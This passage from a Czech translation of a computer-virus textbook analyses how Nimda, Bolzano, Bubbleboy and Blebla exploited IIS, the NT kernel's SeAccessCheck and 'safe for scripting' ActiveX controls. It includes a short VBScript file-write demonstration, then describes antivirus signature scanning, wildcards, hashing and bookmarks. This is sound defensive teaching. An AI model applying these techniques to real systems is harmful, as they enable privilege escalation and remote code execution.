10.4.9 Exploity v W32/Nimda.A@mm W32/Nimda.A@mm je červ, který ke svému šíření využívá více metod. Zasílá sám sebe e-mailem, vyhledává síťové sdílené zdroje a snaží se kopírovat sám sebe na zranitelné webové servery Microsoft IIS. Nimda také infikuje jak lokální soubory, tak i soubory na vzdálených síťových discích. Červ pro infekci webových serverů IIS používá exploit založený na procházení adresářů webového serveru (Web Server Folder Traversal) a exploit hlavičky MIME, který mu dovoluje vykonání pouhým zobrazením infikovaného e-mailu.

Infekce červem W32/Nimda.A@mm začala 18. září 2001 okolo 12:00 GMT. Během prvních 12 hodin červ napadl minimálně 450000 jedinečných hostitelů, přičemž na vrcholu infekce jich bylo v jeden okamžik napadeno asi 160000. Schopnost rychle infikovat velké množství serverů IIS byla založena na exploitaci validace vstupu a na automatickém vykonání červa při zobrazení infikovaného e-mailu.

10.4.9.1 Vysvětlení exploitu IIS W32/Nimda.A@mm exploituje zranitelnost MS01-026 produktu Microsoft Internet Information Server, nebo už dříve zkompromitovaných instalací ke kopírování sebe sama na server pomocí TFTP. Poté se na vzdáleném počítači spustí. Červ zkoumá server tak, že vydává příkaz dir prostřednictvím vystaveného CMD.EXE (z dříve kompromitovaného stroje) nebo prostřednictvím "winnt\system32\cmd.exe", kdy používá různé varianty kanonizace URL a zranitelnost kódování, jak bylo popsáno dříve.

Když server odpoví zprávou "200" (úspěch), W32/Nimda.A@mm se dozví, že server je zranitelný a spustí svou aktualizační rutinu. Pokud server neodpoví zprávou o úspěchu, vyzkouší jinou upravenou URL. Červ zkouší celkem třináct různých útoků založených na kódování URL a čtyři specifická URL pro servery, které byly již dříve zkompromitovány. Červ se nahraje spuštěním programu tftp.exe na vzdáleném serveru, a s využitím upravené URL adresy se dostane z kořenového adresáře webu. Klienta TFTP pak použije ke zpětnému připojení k serveru, ze kterého se provádí infekce, přičemž stáhne vlastní kopii sebe sama jako soubor admin.dll.

Když je soubor zkopírován na napadený webových server, W32/Nimda.A@mm spustí sám sebe na vzdáleném webovém serveru prostřednictvím jednoduchého HTTP požadavku GET (GET /adresář/ <řetězec exploitu>/<jméno souboru>.dll).

10.4.10 Popis W32/Bolzano W32/Bolzano je virus přímé akce, který napadá soubory PE. Přestože je replikační rutina viru velmi jednoduchá, modifikuje jádro Windows NT pro vypnutí ověřování uživatelských práv.

Počítačové viry – analýza útoku a obrana

365

10.4.10.1 Modifikace jádra OS Viry typu W32/Bolzano (a pozdější W32/Funlove, který používá stejný trik), modifikují soubory jádra, aby se mohly dále šířit. W32/Bolzano a W32/Funlove totiž potřebují během své počáteční infiltrace na Windows NT Server nebo Windows NT Workstation práva administrátora. Ačkoliv se to možná na první pohled nezdá, je to hrozba, se kterou je nutné počítat, protože mnoho uživatelů používá své systémy s administrátorským účtem (bez ohledu na možné rizika), nehledě na to, že viry mohou čekat tak dlouho, dokud se administrátor nebo někdo jiný se stejnými právy nepřihlásí.

V takovém případě má W32/Bolzano šanci upravit soubor ntoskrnl.exe, jádro Windows NT, které je umístěno v adresáři WINNT/SYSTEM32. Virus modifikuje pouze dva bajty v API pojmenovaném jako SeAccessCheck(), které je součástí ntoskrnl.exe. Když je pak systém s takto upraveným jádrem restartován, může dát W32/Bolzano libovolnému uživateli plný přístup ke všem souborům, nezávisle na jejich ochraně. To znamená, že uživatel Guest (který má v systému nejmenší možná práva) bude schopen číst a modifikovat všechny soubory, včetně těch, které jsou běžně přístupné pouze administrátorovi.

To je potenciální problém, protože virus se pak může šířit zcela libovolně, nezávisle na omezení přístupu použitém na konkrétním stroji. Kromě toho – po útoku nejsou chráněna libovolná data kteréhokoliv uživatele. To proto, že API SeAccessCheck() je upraveno tak, že vrací vždy 1, místo 0 nebo 1. Hodnota 1 znamená, že daný uživatel má k nějakému souboru nebo adresáři v oddílu NTFS potřebná práva, zatímco 0 znamená, že k němu žádná práva nemá. API SeAccessCheck() je voláno vždy, kdykoliv je potřeba ověřit přístupová práva souboru.

Konzistence ntoskrnl.exe je bohužel kontrolována pouze na jednom místě. Předpokládá se, že jej zkontroluje zavaděč (ntldr) při zavádění do fyzické paměti během bootování systému. Je-li jádro porušeno, má zavaděč přerušit jeho zavádění a zobrazit chybové hlášení ještě předtím, než se objeví "modrá obrazovka". Aby se vyhnul tomuto problému, W32/Bolzano také upraví ntldr, takže se žádné chybové hlášení nezobrazí a Windows NT se správně spustí, i když se kontrolní součet neshoduje s originálem.

Protože konzistence samotného zavaděče není kontrolována vůbec, bude virem upravené jádro zavedeno, aniž by se o tom uživatel předem dozvěděl. Protože je soubor ntldr skrytý, systémový a pouze pro čtení, Bolzano před pokusem o jeho úpravu změní jeho atributy na "archivovaný".

Poznámka Nepovolené úpravy ntoskrnl.exe a dalších systémových spustitelných souborů je možné alespoň částečně vyřešit funkcionalitou System File Checker, který je dostupná v systémech Windows 2000/ XP. Škodlivý kód nicméně může tuto funkcionalitu zakázat. Hlavní funkcí SFC ovšem není ochrana proti virům, ale řešení problému nazvaného jako "peklo DLL".

Na některých systémech, například na Linuxu, jsou zdrojové soubory jádra obecně přímo dostupné, i když vůbec nebyly použity k vývoji. Přestože nejsou standardně nainstalovány, jsou tyto zdrojové soubory obecně používány k instalaci nových ovladačů zkompilováním jejich zdrojových textů. Kromě toho někteří lidé udržují aktuální verzi jádra tak, že jej překompilují v okamžiku, jakmile jsou k dispozici opravy chyb. Díky tomu může jakýkoliv virus nebo jiný škodlivý kód snadno změnit zdrojové

366

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

soubory systému a po překompilování jádra získat oprávnění uživatele root (předpokládá se, že virus má k těmto zdrojovým souborům právo zápisu).

10.4.11 Popis VBS/Bubbleboy VBS/Bubbleboy je skriptovací červ Visual Basicu, který pracuje pod anglickou a španělskou verzí Windows 98 a Windows 2000. Červ posílá sám sebe na všechny e-mailové adresy v adresáři Microsoft Outlooku. Využívá exploitaci ActiveX "bezpečný pro skriptování", aby vykonal sám sebe i bez spuštění nebo uložení přílohy e-mailu samotným uživatelem. Tento exploit poprvé použil JS/Kak28.

10.4.11.1 Exploit ActiveX "bezpečný pro skriptování" VBS/Bubbleboy používá ovládací prvek Scriptlet.Typelib k tomu, aby v adresáři Windows "Po spuštění" vytvořil škodlivý soubor HTA (aplikace HTML). Když je pak počítač restartován, soubor HTA spustí replikační rutinu. Díky zneužití zranitelnosti "bezpečný pro skriptování" je tento soubor vytvořen už při pouhém přečtení infikovaného e-mailu za pomoci zranitelného Internet Exploreru 5.

Scriptlet.Typelib umožňuje vygenerovat dynamickou knihovnu typu (type library) pro skriptovací komponentu Windows (Windows Script Component). Taková knihovna typu běžně obsahuje informace o rozhraních a jejich členech. Knihovny typu jsou užitečné pro dokončení příkazu ve Visual Basicu, a také pro zobrazení nechráněných prvků a metod v prohlížeči objektů (Object Browseru).

Scriptlet.Typelib poskytuje vlastnost Path, která specifikuje, kam bude knihovna typu uložena a vlastnost Doc, která se běžně používá pro řetězec s informacemi knihovny typu. Metoda Write vytvoří soubor typové knihovny.

Ovládací prvek Scriptlet.Typelib byl bohužel vývojářem označen jako "bezpečný pro skriptování". To umožňuje vzdáleným skriptům (tedy skriptovacím souborům v zóně Internet, jako e-maily s HTML kódem nebo vzdálené webové stránky) využívat vlastnosti a metody Scriptlet.Typelib a zapsat tak soubor (kterým má být normálním .tlb souborem knihovny typu) do lokálního počítače s jakýmkoliv obsahem, definovaným vlastností Doc. Výpis 10.11 demonstruje, jak použít Scriptlet.Typelib k zápisu souboru.

Výpis 10.11 Použití Scriptlet.Typelib k zápisu do souboru.

Set oTL = CreateObject("Scriptlet.Typelib") oTL.Path="C:\file.txt"

‘ cesta/jméno souboru .tlb

oTL.Doc="Hello World!"

‘ obsah souboru .tlb

oTL.Write

‘ zápis souboru na lokální disk

Záplatu pro řešení tohoto problému byla poskytnuta Microsoftem v Security Bulletinu MS99-032 dne 31. srpna 1999.

10.4.12 Popis W32/Blebla Tento červ používá různý text pro předmět e-mailu a obsahuje dvě přílohy nazvané jako Myjuliet.chm a Myromeo.exe. Poté, co je takový e-mail zobrazen zranitelnou instalací Microsoft Outlooku (Expressu)

Počítačové viry – analýza útoku a obrana

367

jsou tyto dvě přílohy automaticky uloženy a spuštěny. Po své vykonání se červ pokouší rozeslat se na všechna jména v adresáři Microsoft Outlooku, přičemž využívá jeden z několika internetových e-mailových serverů, umístěných v Polsku.

10.4.12.1 ActiveX a popis exploitu obejití cache W32/Blebla používá kombinaci ovládacího prvku ActiveX, který je označen jako "bezpečný pro skriptování" a zranitelnost, která mu umožňuje ukládat souborů na lokálním stroji. Červ používá metodu showHelp ovládacího prvku HHCtrl (HTML Help) ActiveX . Tato metoda umožňuje prostřednictvím skriptování zobrazit (a tím spustit) soubory CHM (zkompilované HTML). Metoda showHelp původně obsahovala zranitelnost, která umožňovala definovat úplnou cestu UNC jako název souboru, který se má otevřít. Tím bylo možné lokálně spouštět vzdálené soubory CHM. Tuto zranitelnost opravil Microsoft v Security Bulletinu MS00-37.

Přestože byla schopnost spouštět vzdálené soubory CHM opravena, tento ovládací prvek ActiveX zůstal stále označen jako "bezpečný pro skriptování". Ovládací prvek HHCtrl ovšem mohl i nadále spouštět lokální soubory CHM – a ty bylo možné spouštět pomocí vzdálených skriptů (jako jsou e-maily s HTML kódem nebo vzdálené webové stránky). To ovšem nebylo chápáno jako zranitelnost, protože škodlivý CHM soubor musí v lokálním systému existovat. Červ kombinuje použití schopnosti lokálního spouštění metody showHelp se zranitelností založenou ba obejití cache. Když je přijat e-mail s HTML kódem, jsou v něm použité soubory, jako třeba obrázky (<img src="inline.gif ">), automaticky uloženy do složky Temporary Internet Files. Tato složka je určena pro cachování souborů a zakazuje vzdálené skripty. Takže – i když byl W32/Blebla schopen do tohoto adresáře uložit lokální soubor CHM, metoda showHelp neměla oprávnění je z tohoto místa zavádět.

Pomocí zranitelnosti založené na obejití cache v Microsoft Outlooku byl ovšem červ schopen uložit CHM soubor na známé místo "C:\Windows\Temp", čímž efektivně obešel požadavek na použití adresáře Temporary Internet Files, který má větší omezení.

Poté, co je škodlivý soubor uložen do "C:\Windows\Temp", jej červ spustí pomocí metody showHelp.

Tento příklad demonstruje útok pomocí dvou zranitelností. Samotná metoda showHelp není zranitelná.

Ovšem kombinace této metody společně s jinou zranitelností může vést k tomu, že útočník může na lokálním systému vzdáleně spustit libovolný kód.

Tuto zranitelnost opravil Microsoft v Security Bulletinu MS00-046.

Faktem ovšem je, že pokud by ovládací prvek HHCtrl ActiveX nebyl označen jako "bezpečný pro skriptování", nebyl by tento typ útoku úspěšný – nezávisle na tom, zdali zranitelnost existuje, nebo ne. Bohužel – v dnešní době je prvek HHCtrl stále označen jako "bezpečný pro skriptování", a proto může být použit ke spouštění lokálních souborů ze vzdáleného místa.

10.5 Shrnutí Přestože historie smíšených hrozeb sahá před rok 1988, jejich náhlé znovuobjevení je velmi znepokojující. V minulosti bylo použití internetu omezeno na vládní a akademické pracovníky. Dnes je použití

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

368

internetu zcela běžnou záležitostí a nezbytně nutné pro mnoho aspektů obchodování. Smíšené útoky se mohou šířit rychleji a dále, než klasické virové hrozby. Nejlepší ochranou zůstává bdělost při aplikování kritických záplat. Lokální a síťově založené nástroje pro vyhodnocování úrovně zranitelnosti mohou být použity pro nalezení zastaralých systémů s bezpečnostními dírami uvnitř sítí, takže na ně poté mohou být rychle aplikovány bezpečnostní záplaty. Takový software umí dále zkontrolovat, zda-li jsou souladu s požadavky společnosti nastavena přístupová hesla; dokáže také vyhledat nepotřebné síťové služby, které by měly být odinstalovány. Firemní a osobní firewally by měly být v pohotovosti před útoky jak zvenčí, tak i zevnitř. Ochranné technologie by měly být nainstalovány nejenom na serverech, ale také na pracovních stanicích. Ve druhé části knihy, zejména v kapitolách 13 a 14, se probírají zajímavé technologie obrany proti těmto druhům útoků.

V dnešní a v brzké budoucnosti se budou útoky skládat z smíšených hrozeb – a jejich škody budou stále velké. A nefunkční e-mailový server bude nejmenší z našich starostí, pokud budou v oběhu hrozby schopné efektivně paralyzovat velké části internetu.

Odkazy 1. http://www.cve.mitre.org – (Common Vulnerabilities and Exposures).

2. Elias Levy, "Smashing the Stack for Fun and Profit", Phrack Magazine, 1996, ročník 7, číslo 49.

3. Eric Chien, "CodeRed worm", červenec 2001, http://securityresponse.symantec.com/ avcenter/venc/data/codered.worm.html.

4. Peter Szor, "CodeRed II", srpen 2001, http://securityresponse.symantec.com/avcenter/venc/data/codered.ii.html.

5. Eric Chien, "W32.Nimda.A@mm", září 2001, http://securityresponse.symantec.com/ avcenter/venc/data/w32.nimda.a@mm.html.

6. Peter Szor and Peter Ferrie, "Bad Transfer", Virus Bulletin, únor 2002, str. 5-7.

7. Eric Chien and Peter Szor, "Blended Attacks", Virus Bulletin Conference, 2002.

8. Eugene H. Spafford, "The Internet worm Program: An Analysis", Purdue Technical Report, CSD-TR-823, 1988.

9. Michael Howard and David LeBlanc, "Writing Secure Code", Microsoft Press, 2003.

10. David Litchfield, "Windows 2000 Format String Vulnerabilities", květen 8, 2002, www.nextgenss.com/papers/win32format.doc.

11. Halvar Flake, "Third Generation Exploits on NT/Win2K Platforms", BlackHat Conference, 2002, http://blackhat.com/html/win-usa-02/win-usa-02-spkrs.html.

12. Halvar Flake, osobní komunikace, 2004.

13. http://msdn.microsoft.com/workshop/components/activex/safety.asp.

14. http://msdn.microsoft.com/library/en-us/script56/html/letcreatetypelib. asp.

15. Peter Szor, "Bolzano Bugs NT", Virus Bulletin, září 1999.

Počítačové viry – analýza útoku a obrana

369

16. Peter Szor, "NetWare Execute-Only Attribute Considered Harmful", EICAR Conference, 1996, str.

167-172.

17. Andrew Schulman, Ralf Brown, David Maxey, Raymond J. Michels a Jim Kyle, Undocumented DOS, 2nd Edition, 1994, Addison-Wesley Publishing Company, Reading.

18. Peter Szor, "W32.Funlove.4099", listopad 1999, http://securityresponse.symantec.com/ avcenter/venc/data/w32.funlove.4099.html.

19. Frederic Perriot, "W32/Opaserv", Virus Bulletin, prosinec 2002, http://www.virusbtn.com/ resources/viruses/indepth/opaserv.xml.

20. Bruce McCorkendale a Peter Szor," Code Red buffer owerlow", Virus Bulletin, září 2001.

21. Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta a Riley Hassel, "The Shellcoder’s Handbook", Wiley Publishing, Inc., Indianapolis, květen 2004, ISBN: 076454468-3.

22. Frederic Perriot a Peter Szor, "Let free(dom) Ring!", Virus Bulletin, listopad 2002, str. 8-10.

23. Peter Szor and Frederic Perriot, "Slam dunk", Virus Bulletin, březen 2003, str. 6-7.

24. David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford a Nicholas Weafer, "Spread of the Sapphire/Slammer worm", http://www.cs.berkeley.edu/~nweaver/sapphire.

25. Frederic Perriot, Peter Ferrie a Peter Szor, " Worm Wars", Virus Bulletin, říjen 2003, str. 5-8.

26. Frederic Perriot, Peter Ferrie a Peter Szor, "Blast Off!", Virus Bulletin, září 2003, str. 10-11.

27. Sarah Gordon, "The worm has turned", Virus Bulletin, srpen 1998.

28. Vanja Svajcer, "Kak-astrophic", Virus Bulletin, březen 2000, strana 7.

370

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

ČÁST II

STRATEGIE OBRÁNCE

KAPITOLA 11 Techniky antivirové obrany

"Ale kdo bude hlídat hlídače?"

– Juvenal

Kapitola 11 – Techniky antivirové obrany

374

Tato kapitola je kolekcí technik, které se používají v antivirovém software pro ochranu uživatelů před počítačovými viry. Postupně budou vysvětleny techniky antivirových skenerů, které se vyvinuly (společně s počítačovými viry) během posledních patnáct let. Během dlouhého vývoje antivirového software se tyto techniky vyladily a dnes jsou veřejně známé a používané. Ačkoliv se časem určitě objeví nové postupy, metody uvedené v této kapitole, se jeví pro dohlednou budoucnost jako dostatečné.

Pro lepší přehlednost bude detekce počítačových virů rozdělena na tyto tři části: 

Detekce založená na prostém vyhledávání vzorků.



Přesná identifikace.



Detekce zakódovaných, polymorfních a metamorfních virů1.

Také vám ukáži použití generických a heuristických metod2, které mohou detekovat celé třídy počítačových virů a nikoliv pouze jejich varianty. Tato kapitola vás také seznámí s technikami léčení (včetně generických a heuristických metod), které se používají pro opravu infikovaných souborů. Současný antivirový software pro heuristickou analýzu3 používá sofistikovanou emulaci kódu (tzv. virtuální stroj) pro komplexní detekci virů. Jedná se o klíčovou komponentu antivirového software, která pomohla udržet antivirové skenery dlouho při životě.

Existují dva základní druhy skenerů: on-demand a on-access. On-demand skenování se spouští pouze na příkaz uživatele a dá se také spouštět během startu operačního systému. On-access skenery jsou naopak neustále rezidentní v paměti a nahrávají se jako jednoduché aplikace, které se zavěsí na přístup k diskům a souborům nebo jsou implementovány jako ovladače zařízení, které se připojují na souborové systémy4. Například na systémech Windows NT/2000/XP/2003 jsou on-access skenery typicky implementovány jako ovladače filtrů souborového systému (file-system filter drivers), které jsou připojeny na použité souborové systémy, jako například FAT, NTFS atd.

Obrázek 11.1 znázorňuje načtený ovladač filtru souborového systému připojený na sadu souborových systémů s použitím nástroje z OSR.

Obrázek 11.1

Ovladač filtru souborového systému připojený k ovladačům souborového systému.

Počítačové viry – analýza útoku a obrana

375

On-access skenery obvykle skenují soubory při jejich otevírání, vytváření nebo zavírání. Takto se dá zabránit tomu, aby se na systému spustil známý virus. Zajímavý problém vzniká u síťových infektorů, jakým je třeba virus W32/Funlove. Funlove totiž infikuje soubory na sdílených síťových discích, takže infekce na vzdáleném systému bude detekována pouze v případě, že je soubor zapsán na disk. To znamená, že v některých případech mohou mít on-access skenery problémy při zastavování činnosti virů.

Poznámka Toto riziko se dá omezit skenováním diskové cache ještě před tím, než je soubor zapsán na disk. Mohou se pochopitelně použít i jiné metody obrany, jako třeba monitory podezřelého chování nebo software zabraňující proniknutí do sítě.

Tato kapitola se také zaměřuje na techniky, které dovedou infekcím zabránit a vyléčit je – jak v souborech, tak i v oblastech souborových systémů. Také se podíváme na obecně použitelná řešení, která zahrnují následující: 

On-demand kontrolory integrity dat.



On-access kontrolory integrity dat (tzv. integrity shells).



Monitory podezřelého chování (tzv. behavior blockers).



Kontrolu přístupu.



Očkování.

11.1 Skenery první generace Většina počítačových knih rozebírá detekci virů na celkem jednoduché úrovni. Dokonce i novější knihy popisují antivirové skenery jako jednoduché programy, které prohledávají sekvence bajtů extrahované z počítačového viru umístěného v souboru nebo v paměti. Jedná se skutečně o jednu z nejpopulárnějších metod pro detekci počítačových virů, která je navíc v jistých ohledech efektivní. Současný antivirový software používá k detekci složitých virů mnohem zajímavější techniky, které skenery první generace nezvládají. Následující části textu rozebírají příklady metod detekce a identifikace, které se dají použít k detekci počítačových virů.

Poznámka Ne všechny techniky se dají použít k detekci všech počítačových virů, na druhou stranu se to ani neočekává. Stačí mít arzenál vlastní detekčních technik, z nichž jedna dobře poslouží k detekci nebo dezinfekci příslušného viru. Tento fakt je často opomíjen bezpečnostními specialisty a výzkumníky, kteří jsou schopni se hádat o efektivitě techniky v případě, že se nedá použit na detekci všech infekcí.

376

Kapitola 11 – Techniky antivirové obrany

11.1.1 Skenování řetězců Skenování řetězce je tím nejjednodušším způsobem, jakým lze detekovat počítačové viry. Je použito extrahovaných sekvencí bajtů (řetězců), které jsou typické pro konkrétní virus, a které se nenacházejí v čistých programech. Tyto sekvence se ukládají v databázích, které antivirové skenery systematicky používají při prohledávání v předdefinovaných oblastech souborů a v systémových oblastech, aby tak v omezeném čase, který mají vyhrazen na skenování, detekovaly počítačové viry. A skutečně – jedna z nejdůležitějších výzev, kterou před sebou enginy antivirových skenerů mají, je efektivní využití omezeného času k provedení testu (obvykle to nebývá více než pár sekund na jeden soubor).

Podívejte se na část kódu uvedeného na obrázku 11.2, který byl získán pomocí nástroje IDA (Interactive DisAssembler) z jedné varianty boot viru Stoned.

Obrázek 11.2

Část kódu viru Stoned, který byl načtený do programu IDA.

Tato část kódu čtyřikrát přečte boot sektor diskety a před každým pokusem zresetuje disk.

Poznámka Virus potřebuje volat původní obsluhu INT 13, protože současně monitoruje stejné přerušení, aby mohl infikovat diskety kdykoliv, když se k nim přistoupí. Proto virus volá CS:[09] přímo v datové oblasti na počátku virového kódu, na 0:7C09, kde se nachází uložená adresa původní diskové obsluhy.

Na začátku virového kódu je pár bajtů dat, zbytek těla zůstává konstantní.

Jedná se o typickou sekvenci kódu viru. Čtyři pokusy čtení prvního sektoru jsou nezbytné kvůli starším disketovým mechanikám, které byly příliš pomalé. Virus používá dvojici instrukcí PUSH CS, POP ES, aby nastavil diskový zásobník (buffer) na segment viru.

Styl kódu vypadá jako pokus o optimalizaci nastavení obsahu registrů CX a DX, které slouží jako parametry volání přerušení diskové obsluhy.

Následujících 16 bajtů, což je část kódu vyextrahovaná z viru Stoned, může sloužit jako vyhledávací řetězec pro tento virus. Byl publikován v magazínu Virus Bulletin.

0400 B801 020E 07BB 0002 33C9 8BD1 419C

Počítačové viry – analýza útoku a obrana

377

Těchto šestnáct jedinečných bajtů je dostatečně dlouhým řetězcem pro bezpečnou detekci 16bitového škodlivého kódu bez rizika falešných poplachů. Není tedy překvapením, že se pro detekci různých DOSových a boot virů používaly sekvence, které byly dlouhé právě těch šestnáct bajtů. Sekvence bývaly také publikovány v různých magazínech zaměřených na antivirový výzkum (například Virus Bulletin). Pro bezpečnou detekci 32bitových virů jsou obvykle zapotřebí delší vyhledávací řetězce, zejména v případě, kdy je kód napsaný v nějakém vysokoúrovňovém jazyce.

Předchozí sekvence kódu se může objevit také v jiných variantách viru Stoned. Tímto řetězcem se mohou detekovat nejenom varianty viru A, B a C, dají se jím také detekovat příbuzné viry, které už spadají do jiné rodiny. Na jednu stranu je to výhoda, protože skener dokáže jedním řetězcem detekovat více virů, na druhou stranu se může stát, že tímto řetězcem bude detekován úplně jiný virus, který bude nesprávně označen jako virus Stoned. Uživatel si pak může chybně myslet, že tento virus je relativně neškodný, ovšem špatná identifikace může způsobit mnohem více škod. Špatná identifikace viru může vést k závažným komplikacím. Ty mohou nastat třeba v okamžiku, kdy se antivirový skener pokusí napadený objekt vyléčit. Protože postup odstranění dvou odlišných rodin virů nebo i dvou variant stejného viru je obvykle odlišný, mohou snadno nastat problémy.

Pro vysvětlení – některé varianty viru Stoned například ukládají původní MBR na sektor 7, přičemž jiné varianty používají sektor 2. Pokud antivirový program neidentifikuje virus správně (alespoň ve své dezinfekční rutině), výsledkem bude to, že po dezinfekci nebude možné se nabootovat do systému.

Existují některé techniky, které umí omezit vznik těchto komplikací. Některé jednoduché dezinfektory používají v opravném kódu různé záložky k tomu, aby se ujistily, že dezinfekční kód je opravdu určen konkrétní variantě viru.

11.1.2 Zástupné znaky Jednoduché skenery často používají tzv. zástupné znaky (wildcards), které obvykle umožňují přeskočit bajty nebo rozsah bajtů. Některé skenery navíc podporují regulární výrazy. Viz tento řetězec: 0400 B801 020E 07BB ??02 %3 33C9 8BD1 419C

Tento řetězec se bude interpretovat následovně: 1. Porovnej na 04 a pokud se shoduje, pokračuj.

2. Porovnej na 00 a pokud se shoduje, pokračuj.

3. Porovnej na B8 a pokud se shoduje, pokračuj.

4. Porovnej na 01 a pokud se shoduje, pokračuj.

5. Porovnej na 02 a pokud se shoduje, pokračuj.

6. Porovnej na 0E a pokud se shoduje, pokračuj.

7. Porovnej na 07 a pokud se shoduje, pokračuj.

8. Porovnej na BB a pokud se shoduje, pokračuj.

9. Ignoruj tento bajt.

378

Kapitola 11 – Techniky antivirové obrany

10. Porovnej na 02 a pokud se shoduje, pokračuj.

11. Porovnej na 33 na následujících třech pozicích a pokud se shoduje, pokračuj.

12. Porovnej na C9 a pokud se shoduje, pokračuj.

13. Porovnej na 8B a pokud se shoduje, pokračuj.

14. Porovnej na D1 a pokud se shoduje, pokračuj.

15. Porovnej na 41 a pokud se shoduje, pokračuj.

16. Porovnej na 9C a pokud se shoduje, nahlas infekci.

Zástupné znaky se často používají pro půlbajty, které umožňují přesnější porovnání skupin instrukcí.

Některé z prvních zakódovaných virů (a dokonce i polymorfní viry) bylo možné jednoduše detekovat řetězci na bázi zástupných znaků.

Použití samotného Boyer-Moorova algoritmu5 není ovšem dostatečně efektivní pro skenery, které jsou založeny na řetězcích. Tento algoritmus byl vyvinut pro rychlé prohledávání řetězců a využívá porovnávání řetězců pozpátku. Uvažme následující dvě slova se stejnou délkou: CONVENED a CONVENER

Pokud jsou dva řetězce porovnávány od začátku, je pro nalezení rozdílu potřeba celkem sedm porovnání. Pokud se začne od konce řetězce, rozdíl odhalí už první porovnání, což významně redukuje celkový počet porovnání, které je potřeba učinit.

Poznámka Boyer-Moorův algoritmus nefunguje příliš dobře v systémech IDS (Intrusion Detection Systems, systémy pro detekci průniku), protože tento způsob porovnávání může způsobit přetečení v paketu.

Podobného úspěchu je možné dosáhnout na základě použití technik záložek, které jsou vysvětleny později. Navíc s použitím různých filtrovacích6 a hašovacích algoritmů může být rychlost virtuálně nezávislá na celkovém počtu řetězců, které se musí porovnávat.

11.1.3 Neshody Neshody v řetězcích byly vymyšleny pro IBM Antivirus. Ty umožňují, aby N bajtů v řetězci mohlo být libovolné, bez ohledu na jejich umístění v řetězci. Například řetězec 01 02 03 04 05 07 08 09 s hodnotou neshody 2 se bude shodovat ve všech následujících vzorcích (viz obrázek 11.3).

01 02 AA 04 05 06 BB 08 09 0A 0B 0C 0D 0E 0F 10 01 02 03 CC DD 06 07 08 09 0A 0B 0C 0D 0E 0F 10 01 EE 03 04 05 06 07 FF 09 0A 0B 0C 0D 0E 0F 10

Obrázek 11.3

Sada řetězců, které se liší ve dvou neshodách.

Počítačové viry – analýza útoku a obrana

379

Neshody jsou užitečné zejména při vytváření generických řešení pro detekce rodin počítačových virů, nevýhodou algoritmu je jeho pomalost během skenování.

11.1.4 Generická detekce Generická detekce skenuje několik nebo všechny varianty rodiny počítačových virů s použitím prostého řetězce. Jakmile je nalezena více než jedna varianta počítačového viru, sada variant je analyzována v obvyklé oblasti kódu, přičemž se vybere jednoduchý vyhledávací řetězec, který je přítomný v co nejvíce variantách. Generický řetězec obvykle obsahuje jak zástupné znaky, tak i neshody.

11.1.5 Hašování Hašování je běžný termín popisující techniky, které urychlují vyhledávací algoritmy. Hašování se dá udělat pro první bajt nebo 16bitová a 32bitová slova vyhledávacího řetězce, což umožňuje, aby další bajty obsahovaly zástupné znaky. Antiviroví výzkumníci mohou hašování ještě vylepšit tak, že zvolí nějaký začínající bajt, který bude řetězec obsahovat. Je dobré vyhnout se prvním bajtům, které jsou běžné v normálních souborech, jako jsou třeba nuly. Výzkumník může vybrat řetězce, které obvykle začínají stejnými společnými bajty, což redukuje počet nutných porovnání.

Aby bylo vyhledávání co nejrychlejší, některé skenery vůbec nepodporují zástupné znaky. Například australský antivirus VET používá vynález Rogera Riordana7, který je založen na použití 16bajtových vyhledávacích řetězců (bez zástupných znaků) založených na 64 kB velké hašovací tabulce a 8bitového posuvného registru. Tento algoritmus pak použije každé 16bitové slovo řetězce jako index do hašovací tabulky.

Velmi silné hašování bylo vyvinuto Fransem Veldmanem v TBSCAN. Tento algoritmus používá v řetězcích zástupné znaky, přičemž má dvě hašovací tabulky a odpovídající spojitý seznam řetězců. První hašovací tabulka obsahuje indexové bity do druhé tabulky. Algoritmus je založen na použití čtyř konstantních 16bitových nebo 32bitových slov vyhledávacího řetězce, který v sobě neobsahuje žádné zástupné znaky.

11.1.6 Záložky Záložky (nebo také kontrolní bajty) slouží jako jednoduchý způsob pro zajištění přesnější detekce a dezinfekce. Obvykle se v bajtech vypočítá vzdálenost mezi začátkem těla viru (neboli nultým bajtem těla) a detekčním řetězcem a uloží se odděleně v detekčních záznamech.

Dobré záložky jsou specifické pro dezinfekci viru. Například v případě boot virů může dát někdo přednost vybrání sady záložek, které ukazují na reference v uložených boot sektorech. Když použijeme předchozí příklad viru Stoned, vzdálenost mezi začátkem těla viru a řetězcem je 0x41 (65) bajtů. Nyní se podívejte na část kódu na obrázku 11.4. Kód přečte uložený boot sektor v závislosti na příznaku. V případě pevného disku je načten uložený boot sektor a spustí se z hlavy 0, stopy 0 a sektoru 7 z jednotky C:.

V případě disket se načte sektor kořenového adresáře z hlavy 0, stopy 3 a sektoru 1 z jednotky A:.

Kapitola 11 – Techniky antivirové obrany

380

Obrázek 11.4

Další část kódu viru Stoned načtená do IDA.

Jako postačující sada záložek mohou sloužit následující bajty: 

První záložku můžeme vybrat z offsetu 0xFC (252) těla viru, kde se nachází bajt 0x07.



Druhou záložku můžeme vybrat z offsetu 0x107 (263) těla viru, kde se nachází bajt 0x03.

Tyto bajty můžete nalézt na offsetech 0x7CFC a 0x7D07 v předešlém disassemblovaném výpisu. Pamatujte si, že se tělo viru načítá na offset 0x7C00.

Poznámka V případě souborových virů je dobré vybrat takové záložky, které ukazují na offset, kde je uložená hlavička původního hostitelského programu. Další dobrou záložkou může být také velikost těla viru.

Nekorektní oprava zavirovaného souboru se dá bezpečně omezit kombinací vyhledávacího řetězce a záložek. V praxi je často bezpečné opravit virus na základě těchto informací, nicméně další přesná a téměř přesná identifikace viru může detekci ještě více vylepšit.

